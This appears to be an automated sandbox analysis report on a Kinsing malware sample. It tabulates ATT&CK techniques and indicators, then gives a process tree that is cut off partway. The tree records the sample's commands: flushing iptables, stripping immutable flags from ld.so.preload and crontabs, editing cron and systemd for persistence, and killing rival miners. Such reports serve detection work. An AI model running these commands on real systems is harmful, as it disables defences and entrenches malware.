kinsing | c06a44e96326c98d5909febc2f3389e84a8a5a90235b785f3d232f2496aaeeeb

privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/ld.so.preload	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2223	chmod
2228	chmod
2230	chmod
2236	chmod
2237	chmod
2210	chmod
2212	chmod
2221	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/data/kinsing	2238	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
746	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

Sudo and Sudo Caching

T1548.003

pid	Process
1968	sudo

Creates/modifies Cron job 1 TTPs 64 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vtY3m4	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fkLRgU	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.U39DVX	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ddEgLn	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.2C0Rsd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.wV2Li5	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.RyPxuT	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4mBaa4	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.9cLt6t	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ZnpKCa	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.V3qXeY	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.VIyYVv	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4glIaV	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.laOr7O	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.sf8Vjg	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.J6jFbc	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.SedPdD	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.y27Zk3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.rGKStY	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gBzm3A	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.pKRifM	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.Q0EhDb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.0nkV00	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.fIlGSQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.iF8v0I	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.jleEVu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.py3FPW	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ZnU10O	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.PY8KVS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.SgJRzx	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Icxhrp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.tckxPG	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.raYCE1	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.C9zIgZ	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.Ee3IMq	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.RlrStn	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gBE1bM	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.RsaZDl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.XZZww7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.wxmWex	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.830Ruo	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.X7Ivy3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.KjTQci	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.IStMwg	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.DVnSki	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.ujg07X	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.eztxla	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.9atn0p	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.JNkAYr	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.8Isn9c	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.xofqfO	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.SO4QOe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.SJeLmT	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.urEsYQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.g1Zkix	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.srp2Bn	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.nLffSK	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.fEPvrp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Sq62Nl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.UW6JoV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.bPkKFy	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VH6E9X	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.Rnujxq	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.Dd1NJk	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/bot.service	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

Removes the immutable protection flag from a file 1 TTPs 50 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2122	sed
2177	xargs
2037	xargs
2049	xargs
2080	xargs
2116	sed
2125	sed
2136	xargs
2068	xargs
2074	xargs
2128	sed
2130	xargs
2140	sed
2160	xargs
2204	xargs
740	chattr
1971	uname
1991	xargs
2118	xargs
2143	sed
2148	xargs
2027	xargs
2044	xargs
2056	xargs
2121	xargs
2146	sed
2199	xargs
2017	xargs
2022	xargs
2032	xargs
2112	xargs
2124	xargs
2142	xargs
2165	xargs
2188	xargs
2012	xargs
2062	xargs
2119	sed
2127	xargs
1996	xargs
2006	xargs
2115	xargs
2134	sed
2137	sed
2139	xargs
2145	xargs
735	chattr
742	chattr
2001	xargs
2113	sed

Discovers running processes 1 TTPs 12 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
2045	ps
2156	ps
2200	ps
2013	ps
2018	ps
2023	ps
2033	ps
2108	ps
2161	ps
2008	ps
2028	ps
2040	ps

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/688/status	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/672/cmdline	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/442/cmdline	pkill
File opened for reading	/proc/393/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/689/stat	ps
File opened for reading	/proc/153/stat	ps
File opened for reading	/proc/393/status	pkill
File opened for reading	/proc/695/cmdline	pkill
File opened for reading	/proc/729/stat	ps
File opened for reading	/proc/68/cmdline	pkill
File opened for reading	/proc/442/status	ps
File opened for reading	/proc/70/status	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/84/cmdline	pkill
File opened for reading	/proc/2191/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/73/cmdline	ps
File opened for reading	/proc/722/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/694/status	pkill
File opened for reading	/proc/724/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/694/status	ps
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/257/status	pkill
File opened for reading	/proc/filesystems	Process not Found
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/8/cmdline	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/73/status	ps
File opened for reading	/proc/153/status	ps
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/720/status	pkill
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/688/stat	ps
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/729/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/111/status	pkill
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	sed

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1887	ls
2343	sed
724	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.XcS1fe	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

/tmp/21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh
/tmp/21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh
1⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Modifies systemd
- System Network Configuration Discovery
- Writes file to tmp directory
PID:724
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  - Removes the immutable protection flag from a file
  PID:735
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:738
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:740
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:742
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:746
- /bin/rm
  rm -rf /usr/bin/nginxd
  2⤵
  PID:751
- /bin/rm
  rm -rf /usr/bin/nginxd
  2⤵
  PID:752
- /bin/rm
  rm -rf /usr/bin/softirq
  2⤵
  PID:753
- /bin/grep
  grep exe
  2⤵
  PID:757
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:756
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:760
- /bin/grep
  grep -q systemd
  2⤵
  PID:762
- /bin/grep
  grep -q deleted
  2⤵
  PID:768
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:771
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:774
- /bin/grep
  grep exe
  2⤵
  PID:775
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:777
- /bin/grep
  grep -q systemd
  2⤵
  PID:780
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:782
- /bin/grep
  grep exe
  2⤵
  PID:785
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:784
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:788
- /bin/grep
  grep -q systemd
  2⤵
  PID:790
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:792
- /bin/grep
  grep exe
  2⤵
  PID:795
- /bin/ls
  ls -latrh /proc/111
  2⤵
  PID:794
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:797
- /bin/grep
  grep -q systemd
  2⤵
  PID:799
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:801
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:803
- /bin/grep
  grep exe
  2⤵
  PID:804
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:806
- /bin/grep
  grep -q systemd
  2⤵
  PID:808
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:810
- /bin/grep
  grep exe
  2⤵
  PID:813
- /bin/ls
  ls -latrh /proc/122
  2⤵
  PID:812
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:815
- /bin/grep
  grep -q systemd
  2⤵
  PID:817
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:819
- /bin/grep
  grep exe
  2⤵
  PID:822
- /bin/ls
  ls -latrh /proc/123
  2⤵
  PID:821
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:824
- /bin/grep
  grep -q systemd
  2⤵
  PID:826
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:828
- /bin/grep
  grep exe
  2⤵
  PID:831
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:830
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:833
- /bin/grep
  grep -q systemd
  2⤵
  PID:835
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:837
- /bin/grep
  grep exe
  2⤵
  PID:840
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:839
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:842
- /bin/grep
  grep -q systemd
  2⤵
  PID:844
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:846
- /bin/grep
  grep exe
  2⤵
  PID:849
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:848
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:851
- /bin/grep
  grep -q systemd
  2⤵
  PID:853
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/153
  2⤵
  PID:857
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:860
- /bin/grep
  grep -q systemd
  2⤵
  PID:862
- /bin/grep
  grep -q deleted
  2⤵
  PID:864
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:866
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:868
- /bin/grep
  grep exe
  2⤵
  PID:869
- /bin/grep
